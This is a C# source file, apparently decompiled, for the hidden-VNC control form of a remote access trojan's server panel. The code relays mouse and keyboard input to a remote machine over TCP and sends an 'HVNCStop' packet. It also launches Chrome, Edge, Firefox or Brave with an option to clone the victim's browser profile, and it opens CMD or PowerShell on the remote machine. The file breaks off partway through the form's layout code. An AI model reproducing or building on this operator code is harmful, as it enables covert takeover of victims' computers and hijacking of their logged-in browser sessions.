2023-07-29 23:37:10 +05:30

828 lines
34 KiB
C#

using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.Serialization.Formatters;
using System.Runtime.Serialization.Formatters.Binary;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.Utils.Svg;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Microsoft.VisualBasic.CompilerServices;
using Server.Connection;
namespace Server.Forms;
public class FrmVNC : XtraForm
{
private int int_0;
public int total_size;
private bool bool_1;
private bool bool_2;
public TcpClient client;
public Clients main_client;
private IContainer components;
private System.Windows.Forms.Timer timer1;
private Label ResizeLabel;
private Label QualityLabel;
private Label IntervalLabel;
private PictureBox VNCBox;
private ToolStripStatusLabel toolStripStatusLabel1;
private ToolStripStatusLabel toolStripStatusLabel2;
private System.Windows.Forms.Timer timer2;
private TrackBarControl IntervalScroll;
private TrackBarControl QualityScroll;
private TrackBarControl ResizeScroll;
private CheckEdit chkClone;
private SimpleButton simpleButton2;
private SimpleButton simpleButton4;
private SimpleButton simpleButton3;
private SimpleButton simpleButton5;
private SimpleButton simpleButton6;
private SimpleButton simpleButton9;
private SimpleButton simpleButton10;
private SimpleButton simpleButton11;
private SimpleButton simpleButton12;
public ProgressBarControl DuplicateProgess;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
private PanelControl panelControl2;
private SimpleButton CloseBtn;
private PanelControl panelControl1;
private StatusStrip statusStrip1;
private ToolStripStatusLabel LabelStatus;
private PanelControl panelControl3;
public PictureBox VNCBoxe
{
get
{
return VNCBox;
}
set
{
VNCBox = value;
}
}
public ToolStripStatusLabel _LabelStatus
{
get
{
return LabelStatus;
}
set
{
LabelStatus = value;
}
}
public void DuplicateProfile(int copied)
{
if (total_size != 0)
{
if (copied > total_size)
{
copied = total_size;
}
int num = (int)(100.0 * ((double)copied / (double)total_size));
LabelStatus.Text = $"[{num} %] Copying {copied} / {total_size} MB ";
DuplicateProgess.Position = num;
}
}
public FrmVNC()
{
int_0 = 0;
bool_1 = true;
bool_2 = false;
InitializeComponent();
VNCBox.MouseEnter += VNCBox_MouseEnter;
VNCBox.MouseLeave += VNCBox_MouseLeave;
VNCBox.KeyPress += VNCBox_KeyPress;
}
private void VNCBox_MouseEnter(object sender, EventArgs e)
{
VNCBox.Focus();
}
private void VNCBox_MouseLeave(object sender, EventArgs e)
{
FindForm().ActiveControl = null;
}
private void VNCBox_KeyPress(object sender, KeyPressEventArgs e)
{
SendTCP("7*" + Conversions.ToString(e.KeyChar));
}
private void VNCForm_Load(object sender, EventArgs e)
{
VNCBox.Tag = new Size(1028, 1028);
SendTCP("0*");
SendTCP("17*" + Conversions.ToString(IntervalScroll.Value));
SendTCP("18*" + Conversions.ToString(QualityScroll.Value));
SendTCP("19*" + Conversions.ToString((double)ResizeScroll.Value / 100.0));
LabelStatus.Text = "Ready...";
}
public void Check()
{
}
private void timer1_Tick(object sender, EventArgs e)
{
checked
{
int_0 += 100;
if (int_0 >= SystemInformation.DoubleClickTime)
{
bool_1 = true;
bool_2 = false;
int_0 = 0;
}
}
}
private void CopyBtn_Click(object sender, EventArgs e)
{
SendTCP("9*");
LabelStatus.Text = "Copied...";
}
private void PasteBtn_Click(object sender, EventArgs e)
{
try
{
SendTCP("10*" + Clipboard.GetText());
}
catch (Exception projectError)
{
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
}
LabelStatus.Text = "Pasted...";
}
private void VNCBox_MouseDown(object sender, MouseEventArgs e)
{
if (bool_1)
{
bool_1 = false;
timer1.Start();
}
else if (int_0 < SystemInformation.DoubleClickTime)
{
bool_2 = true;
}
Point location = e.Location;
object tag = VNCBox.Tag;
Size size = ((tag != null) ? ((Size)tag) : default(Size));
double num = (double)VNCBox.Width / (double)size.Width;
double num2 = (double)VNCBox.Height / (double)size.Height;
double num3 = Math.Ceiling((double)location.X / num);
double num4 = Math.Ceiling((double)location.Y / num2);
if (bool_2)
{
if (e.Button == MouseButtons.Left)
{
SendTCP("6*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
}
else if (e.Button == MouseButtons.Left)
{
SendTCP("2*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
else if (e.Button == MouseButtons.Right)
{
SendTCP("3*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
}
private void VNCBox_MouseUp(object sender, MouseEventArgs e)
{
Point location = e.Location;
object tag = VNCBox.Tag;
Size size = ((tag != null) ? ((Size)tag) : default(Size));
double num = (double)VNCBox.Width / (double)size.Width;
double num2 = (double)VNCBox.Height / (double)size.Height;
double num3 = Math.Ceiling((double)location.X / num);
double num4 = Math.Ceiling((double)location.Y / num2);
if (e.Button == MouseButtons.Left)
{
SendTCP("4*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
else if (e.Button == MouseButtons.Right)
{
SendTCP("5*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
}
private void VNCBox_MouseMove(object sender, MouseEventArgs e)
{
Point location = e.Location;
object tag = VNCBox.Tag;
Size size = ((tag != null) ? ((Size)tag) : default(Size));
double num = (double)VNCBox.Width / (double)size.Width;
double num2 = (double)VNCBox.Height / (double)size.Height;
double num3 = Math.Ceiling((double)location.X / num);
double num4 = Math.Ceiling((double)location.Y / num2);
SendTCP("8*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
private void IntervalScroll_Scroll(object sender, EventArgs e)
{
IntervalLabel.Text = "Interval (ms): " + Conversions.ToString(IntervalScroll.Value);
SendTCP("17*" + Conversions.ToString(IntervalScroll.Value));
}
private void QualityScroll_Scroll(object sender, EventArgs e)
{
QualityLabel.Text = "Quality : " + Conversions.ToString(QualityScroll.Value) + "%";
SendTCP("18*" + Conversions.ToString(QualityScroll.Value));
}
private void ResizeScroll_Scroll(object sender, EventArgs e)
{
ResizeLabel.Text = "Resize : " + Conversions.ToString(ResizeScroll.Value) + "%";
SendTCP("19*" + Conversions.ToString((double)ResizeScroll.Value / 100.0));
}
private void RestoreMaxBtn_Click(object sender, EventArgs e)
{
SendTCP("15*");
}
private void MinBtn_Click(object sender, EventArgs e)
{
SendTCP("14*");
}
private void CloseBtn_Click(object sender, EventArgs e)
{
SendTCP("16*");
}
private void StartExplorer_Click(object sender, EventArgs e)
{
SendTCP("21*");
LabelStatus.Text = "Showing Windows Explorer...";
}
private void StartBrowserBtn_Click(object sender, EventArgs e)
{
SendTCP("11*" + Conversions.ToString(chkClone.Checked));
LabelStatus.Text = $"Starting Chrome[Cloning {chkClone.Checked}]...";
}
private void SendTCP(object object_0)
{
if (client == null)
{
return;
}
checked
{
try
{
lock (client)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Simple;
binaryFormatter.TypeFormat = FormatterTypeStyle.TypesAlways;
binaryFormatter.FilterLevel = TypeFilterLevel.Full;
object objectValue = RuntimeHelpers.GetObjectValue(object_0);
ulong num = 0uL;
MemoryStream memoryStream = new MemoryStream();
binaryFormatter.Serialize(memoryStream, RuntimeHelpers.GetObjectValue(objectValue));
num = (ulong)memoryStream.Position;
client.GetStream().Write(BitConverter.GetBytes(num), 0, 8);
byte[] buffer = memoryStream.GetBuffer();
client.GetStream().Write(buffer, 0, (int)num);
memoryStream.Close();
memoryStream.Dispose();
}
}
catch (Exception projectError)
{
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
}
}
}
private void VNCForm_KeyPress(object sender, KeyPressEventArgs e)
{
SendTCP("7*" + Conversions.ToString(e.KeyChar));
}
private void VNCForm_FormClosing(object sender, FormClosingEventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "HVNCStop";
ThreadPool.QueueUserWorkItem(main_client.Send, msgPack.Encode2Bytes());
Hide();
e.Cancel = true;
}
private void VNCForm_Click(object sender, EventArgs e)
{
method_18(null);
}
private void method_18(object object_0)
{
base.ActiveControl = (Control)object_0;
}
private void button1_Click(object sender, EventArgs e)
{
if (chkClone.Checked)
{
SendTCP("30*" + Conversions.ToString(Value: true));
}
else
{
SendTCP("30*" + Conversions.ToString(Value: false));
}
LabelStatus.Text = $"Starting Edge[Cloning {chkClone.Checked}]...";
}
private void button2_Click(object sender, EventArgs e)
{
if (chkClone.Checked)
{
SendTCP("12*" + Conversions.ToString(Value: true));
}
else
{
SendTCP("12*" + Conversions.ToString(Value: false));
}
LabelStatus.Text = $"Starting FireFox[Cloning {chkClone.Checked}]...";
}
private void timer2_Tick(object sender, EventArgs e)
{
Check();
}
private void button4_Click(object sender, EventArgs e)
{
SendTCP($"32*{chkClone.Checked}");
LabelStatus.Text = $"Starting Brave[Cloning {chkClone.Checked}]...";
}
private void button7_Click(object sender, EventArgs e)
{
SendTCP("4875*");
LabelStatus.Text = "Runnig Command Prompt...";
}
private void button8_Click(object sender, EventArgs e)
{
SendTCP("4876*");
LabelStatus.Text = "Runnig PowerShell...";
}
private void VNCBox_Click(object sender, EventArgs e)
{
}
private void VNCBox_MouseHover(object sender, EventArgs e)
{
VNCBox.Focus();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FrmVNC));
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.ResizeLabel = new System.Windows.Forms.Label();
this.QualityLabel = new System.Windows.Forms.Label();
this.IntervalLabel = new System.Windows.Forms.Label();
this.VNCBox = new System.Windows.Forms.PictureBox();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
this.timer2 = new System.Windows.Forms.Timer(this.components);
this.chkClone = new DevExpress.XtraEditors.CheckEdit();
this.ResizeScroll = new DevExpress.XtraEditors.TrackBarControl();
this.QualityScroll = new DevExpress.XtraEditors.TrackBarControl();
this.IntervalScroll = new DevExpress.XtraEditors.TrackBarControl();
this.DuplicateProgess = new DevExpress.XtraEditors.ProgressBarControl();
this.simpleButton9 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton10 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton11 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton12 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton6 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton5 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton4 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton3 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton2 = new DevExpress.XtraEditors.SimpleButton();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
this.panelControl2 = new DevExpress.XtraEditors.PanelControl();
this.CloseBtn = new DevExpress.XtraEditors.SimpleButton();
this.panelControl1 = new DevExpress.XtraEditors.PanelControl();
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.LabelStatus = new System.Windows.Forms.ToolStripStatusLabel();
this.panelControl3 = new DevExpress.XtraEditors.PanelControl();
((System.ComponentModel.ISupportInitialize)this.VNCBox).BeginInit();
((System.ComponentModel.ISupportInitialize)this.chkClone.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.ResizeScroll).BeginInit();
((System.ComponentModel.ISupportInitialize)this.ResizeScroll.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.QualityScroll).BeginInit();
((System.ComponentModel.ISupportInitialize)this.QualityScroll.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.IntervalScroll).BeginInit();
((System.ComponentModel.ISupportInitialize)this.IntervalScroll.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.DuplicateProgess.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl2).BeginInit();
this.panelControl2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl1).BeginInit();
this.panelControl1.SuspendLayout();
this.statusStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl3).BeginInit();
this.panelControl3.SuspendLayout();
base.SuspendLayout();
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.ResizeLabel.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.ResizeLabel.AutoSize = true;
this.ResizeLabel.Location = new System.Drawing.Point(773, 11);
this.ResizeLabel.Name = "ResizeLabel";
this.ResizeLabel.Size = new System.Drawing.Size(71, 13);
this.ResizeLabel.TabIndex = 4;
this.ResizeLabel.Text = "Resize : 55%";
this.QualityLabel.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.QualityLabel.AutoSize = true;
this.QualityLabel.Location = new System.Drawing.Point(588, 11);
this.QualityLabel.Name = "QualityLabel";
this.QualityLabel.Size = new System.Drawing.Size(74, 13);
this.QualityLabel.TabIndex = 5;
this.QualityLabel.Text = "Quality : 50%";
this.IntervalLabel.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.IntervalLabel.AutoSize = true;
this.IntervalLabel.Location = new System.Drawing.Point(391, 147);
this.IntervalLabel.Name = "IntervalLabel";
this.IntervalLabel.Size = new System.Drawing.Size(94, 13);
this.IntervalLabel.TabIndex = 6;
this.IntervalLabel.Text = "Interval (ms): 500";
this.IntervalLabel.Visible = false;
this.VNCBox.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.VNCBox.Dock = System.Windows.Forms.DockStyle.Fill;
this.VNCBox.Location = new System.Drawing.Point(0, 37);
this.VNCBox.Name = "VNCBox";
this.VNCBox.Size = new System.Drawing.Size(958, 395);
this.VNCBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.VNCBox.TabIndex = 7;
this.VNCBox.TabStop = false;
this.VNCBox.Click += new System.EventHandler(VNCBox_Click);
this.VNCBox.MouseDown += new System.Windows.Forms.MouseEventHandler(VNCBox_MouseDown);
this.VNCBox.MouseHover += new System.EventHandler(VNCBox_MouseHover);
this.VNCBox.MouseMove += new System.Windows.Forms.MouseEventHandler(VNCBox_MouseMove);
this.VNCBox.MouseUp += new System.Windows.Forms.MouseEventHandler(VNCBox_MouseUp);
this.toolStripStatusLabel1.Name = "toolStripStatusLabel1";
this.toolStripStatusLabel1.Size = new System.Drawing.Size(44, 17);
this.toolStripStatusLabel1.Text = "Statut :";
this.toolStripStatusLabel2.Name = "toolStripStatusLabel2";
this.toolStripStatusLabel2.Size = new System.Drawing.Size(26, 17);
this.toolStripStatusLabel2.Text = "Idle";
this.timer2.Enabled = true;
this.timer2.Interval = 1000;
this.timer2.Tick += new System.EventHandler(timer2_Tick);
this.chkClone.Dock = System.Windows.Forms.DockStyle.Right;
this.chkClone.Location = new System.Drawing.Point(824, 2);
this.chkClone.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.chkClone.Name = "chkClone";
this.chkClone.Properties.Caption = "Clone session profile";
this.chkClone.Size = new System.Drawing.Size(134, 22);
this.chkClone.TabIndex = 30;
this.ResizeScroll.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.ResizeScroll.EditValue = 50;
this.ResizeScroll.Location = new System.Drawing.Point(850, 3);
this.ResizeScroll.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.ResizeScroll.Name = "ResizeScroll";
this.ResizeScroll.Properties.LabelAppearance.Options.UseTextOptions = true;
this.ResizeScroll.Properties.LabelAppearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.ResizeScroll.Properties.LargeChange = 100;
this.ResizeScroll.Properties.Maximum = 100;
this.ResizeScroll.Properties.Minimum = 10;
this.ResizeScroll.Properties.ShowLabels = true;
this.ResizeScroll.Properties.SmallChange = 50;
this.ResizeScroll.Properties.TickFrequency = 10;
this.ResizeScroll.Properties.TickStyle = System.Windows.Forms.TickStyle.None;
this.ResizeScroll.Size = new System.Drawing.Size(100, 45);
this.ResizeScroll.TabIndex = 35;
this.ResizeScroll.Value = 50;
this.ResizeScroll.Scroll += new System.EventHandler(ResizeScroll_Scroll);
this.QualityScroll.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.QualityScroll.EditValue = 50;
this.QualityScroll.Location = new System.Drawing.Point(667, 3);
this.QualityScroll.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.QualityScroll.Name = "QualityScroll";
this.QualityScroll.Properties.LabelAppearance.Options.UseTextOptions = true;
this.QualityScroll.Properties.LabelAppearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.QualityScroll.Properties.LargeChange = 100;
this.QualityScroll.Properties.Maximum = 100;
this.QualityScroll.Properties.Minimum = 10;
this.QualityScroll.Properties.ShowLabels = true;
this.QualityScroll.Properties.SmallChange = 50;
this.QualityScroll.Properties.TickFrequency = 10;
this.QualityScroll.Properties.TickStyle = System.Windows.Forms.TickStyle.None;
this.QualityScroll.Size = new System.Drawing.Size(100, 45);
this.QualityScroll.TabIndex = 34;
this.QualityScroll.Value = 50;
this.QualityScroll.Scroll += new System.EventHandler(QualityScroll_Scroll);
this.IntervalScroll.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.IntervalScroll.EditValue = 500;
this.IntervalScroll.Location = new System.Drawing.Point(488, 136);
this.IntervalScroll.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.IntervalScroll.Name = "IntervalScroll";
this.IntervalScroll.Properties.LabelAppearance.Options.UseTextOptions = true;
this.IntervalScroll.Properties.LabelAppearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.IntervalScroll.Properties.LargeChange = 100;
this.IntervalScroll.Properties.Maximum = 1000;
this.IntervalScroll.Properties.Minimum = 10;
this.IntervalScroll.Properties.ShowLabels = true;
this.IntervalScroll.Properties.SmallChange = 50;
this.IntervalScroll.Properties.TickFrequency = 100;
this.IntervalScroll.Properties.TickStyle = System.Windows.Forms.TickStyle.Both;
this.IntervalScroll.Size = new System.Drawing.Size(100, 45);
this.IntervalScroll.TabIndex = 33;
this.IntervalScroll.Value = 500;
this.IntervalScroll.Visible = false;
this.IntervalScroll.Scroll += new System.EventHandler(IntervalScroll_Scroll);
this.DuplicateProgess.EditValue = 1;
this.DuplicateProgess.Location = new System.Drawing.Point(207, 321);
this.DuplicateProgess.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.DuplicateProgess.Name = "DuplicateProgess";
this.DuplicateProgess.Properties.Appearance.BackColor = System.Drawing.Color.Red;
this.DuplicateProgess.Properties.Appearance.BackColor2 = System.Drawing.Color.Red;
this.DuplicateProgess.Properties.Appearance.BorderColor = System.Drawing.Color.Red;
this.DuplicateProgess.Properties.Appearance.ForeColor = System.Drawing.Color.Red;
this.DuplicateProgess.Properties.Appearance.ForeColor2 = System.Drawing.Color.Red;
this.DuplicateProgess.Size = new System.Drawing.Size(127, 15);
this.DuplicateProgess.TabIndex = 36;
this.simpleButton9.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton9.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton9.ImageOptions.Image");
this.simpleButton9.Location = new System.Drawing.Point(178, 2);
this.simpleButton9.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton9.Name = "simpleButton9";
this.simpleButton9.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton9.Size = new System.Drawing.Size(88, 29);
this.simpleButton9.TabIndex = 3;
this.simpleButton9.Text = "Firefox";
this.simpleButton9.Click += new System.EventHandler(button2_Click);
this.simpleButton10.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton10.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton10.ImageOptions.Image");
this.simpleButton10.Location = new System.Drawing.Point(90, 2);
this.simpleButton10.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton10.Name = "simpleButton10";
this.simpleButton10.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton10.Size = new System.Drawing.Size(88, 29);
this.simpleButton10.TabIndex = 2;
this.simpleButton10.Text = "Edge";
this.simpleButton10.Click += new System.EventHandler(button1_Click);
this.simpleButton11.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton11.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton11.ImageOptions.Image");
this.simpleButton11.Location = new System.Drawing.Point(266, 2);
this.simpleButton11.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton11.Name = "simpleButton11";
this.simpleButton11.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton11.Size = new System.Drawing.Size(88, 29);
this.simpleButton11.TabIndex = 1;
this.simpleButton11.Text = "Brave";
this.simpleButton11.Click += new System.EventHandler(button4_Click);
this.simpleButton12.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton12.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton12.ImageOptions.Image");
this.simpleButton12.Location = new System.Drawing.Point(2, 2);
this.simpleButton12.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton12.Name = "simpleButton12";
this.simpleButton12.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton12.Size = new System.Drawing.Size(88, 29);
this.simpleButton12.TabIndex = 0;
this.simpleButton12.Text = "Chrome";
this.simpleButton12.Click += new System.EventHandler(StartBrowserBtn_Click);
this.simpleButton6.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton6.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton6.ImageOptions.Image");
this.simpleButton6.Location = new System.Drawing.Point(71, 2);
this.simpleButton6.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton6.Name = "simpleButton6";
this.simpleButton6.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton6.Size = new System.Drawing.Size(69, 33);
this.simpleButton6.TabIndex = 5;
this.simpleButton6.Text = "Paste";
this.simpleButton6.Click += new System.EventHandler(PasteBtn_Click);
this.simpleButton5.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton5.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton5.ImageOptions.Image");
this.simpleButton5.Location = new System.Drawing.Point(2, 2);
this.simpleButton5.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton5.Name = "simpleButton5";
this.simpleButton5.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton5.Size = new System.Drawing.Size(69, 33);
this.simpleButton5.TabIndex = 4;
this.simpleButton5.Text = "Copy";
this.simpleButton5.Click += new System.EventHandler(CopyBtn_Click);
this.simpleButton4.Dock = System.Windows.Forms.DockStyle.Right;
this.simpleButton4.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton4.ImageOptions.Image");
this.simpleButton4.Location = new System.Drawing.Point(641, 2);
this.simpleButton4.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton4.Name = "simpleButton4";
this.simpleButton4.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton4.Size = new System.Drawing.Size(99, 29);
this.simpleButton4.TabIndex = 3;
this.simpleButton4.Text = "PowerShell";
this.simpleButton4.Click += new System.EventHandler(button8_Click);
this.simpleButton3.Dock = System.Windows.Forms.DockStyle.Right;
this.simpleButton3.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton3.ImageOptions.Image");
this.simpleButton3.Location = new System.Drawing.Point(740, 2);
this.simpleButton3.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton3.Name = "simpleButton3";
this.simpleButton3.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton3.Size = new System.Drawing.Size(69, 29);
this.simpleButton3.TabIndex = 2;
this.simpleButton3.Text = "CMD";
this.simpleButton3.Click += new System.EventHandler(button7_Click);
this.simpleButton2.Dock = System.Windows.Forms.DockStyle.Right;
this.simpleButton2.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton2.ImageOptions.Image");
this.simpleButton2.Location = new System.Drawing.Point(809, 2);
this.simpleButton2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton2.Name = "simpleButton2";
this.simpleButton2.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton2.Size = new System.Drawing.Size(83, 29);
this.simpleButton2.TabIndex = 1;
this.simpleButton2.Text = "Explorer";
this.simpleButton2.Click += new System.EventHandler(StartExplorer_Click);
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(960, 496);
this.xtraTabControl1.TabIndex = 37;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.VNCBox);
this.xtraTabPage1.Controls.Add(this.DuplicateProgess);
this.xtraTabPage1.Controls.Add(this.panelControl2);
this.xtraTabPage1.Controls.Add(this.IntervalLabel);
this.xtraTabPage1.Controls.Add(this.panelControl1);
this.xtraTabPage1.Controls.Add(this.IntervalScroll);
this.xtraTabPage1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(958, 465);
this.panelControl2.Controls.Add(this.simpleButton4);
this.panelControl2.Controls.Add(this.simpleButton3);
this.panelControl2.Controls.Add(this.simpleButton11);
this.panelControl2.Controls.Add(this.simpleButton9);
this.panelControl2.Controls.Add(this.simpleButton10);
this.panelControl2.Controls.Add(this.simpleButton12);
this.panelControl2.Controls.Add(this.simpleButton2);
this.panelControl2.Controls.Add(this.CloseBtn);
this.panelControl2.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panelControl2.Location = new System.Drawing.Point(0, 432);
this.panelControl2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.panelControl2.Name = "panelControl2";
this.panelControl2.Size = new System.Drawing.Size(958, 33);
this.panelControl2.TabIndex = 42;
this.CloseBtn.Dock = System.Windows.Forms.DockStyle.Right;
this.CloseBtn.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("CloseBtn.ImageOptions.Image");
this.CloseBtn.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleLeft;
this.CloseBtn.Location = new System.Drawing.Point(892, 2);
this.CloseBtn.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.CloseBtn.Name = "CloseBtn";
this.CloseBtn.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.CloseBtn.Size = new System.Drawing.Size(64, 29);
this.CloseBtn.TabIndex = 39;
this.CloseBtn.Text = "Close";
this.CloseBtn.Click += new System.EventHandler(CloseBtn_Click);
this.panelControl1.Controls.Add(this.simpleButton6);
this.panelControl1.Controls.Add(this.ResizeScroll);
this.panelControl1.Controls.Add(this.simpleButton5);
this.panelControl1.Controls.Add(this.ResizeLabel);
this.panelControl1.Controls.Add(this.QualityScroll);
this.panelControl1.Controls.Add(this.QualityLabel);
this.panelControl1.Dock = System.Windows.Forms.DockStyle.Top;
this.panelControl1.Location = new System.Drawing.Point(0, 0);
this.panelControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.panelControl1.Name = "panelControl1";
this.panelControl1.Size = new System.Drawing.Size(958, 37);
this.panelControl1.TabIndex = 38;
this.statusStrip1.AllowItemReorder = true;
this.statusStrip1.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.statusStrip1.Dock = System.Windows.Forms.DockStyle.None;
this.statusStrip1.GripStyle = System.Windows.Forms.ToolStripGripStyle.Visible;
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[1] { this.LabelStatus });
this.statusStrip1.Location = new System.Drawing.Point(5, 2);
this.statusStrip1.Name = "statusStrip1";
this.statusStrip1.Size = new System.Drawing.Size(65, 22);
this.statusStrip1.SizingGrip = false;
this.statusStrip1.TabIndex = 19;
this.LabelStatus.Name = "LabelStatus";
this.LabelStatus.Size = new System.Drawing.Size(39, 17);
this.LabelStatus.Text = "Ready";
this.panelControl3.Controls.Add(this.statusStrip1);
this.panelControl3.Controls.Add(this.chkClone);
this.panelControl3.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panelControl3.Location = new System.Drawing.Point(0, 496);
this.panelControl3.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.panelControl3.Name = "panelControl3";
this.panelControl3.Size = new System.Drawing.Size(960, 26);
this.panelControl3.TabIndex = 38;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
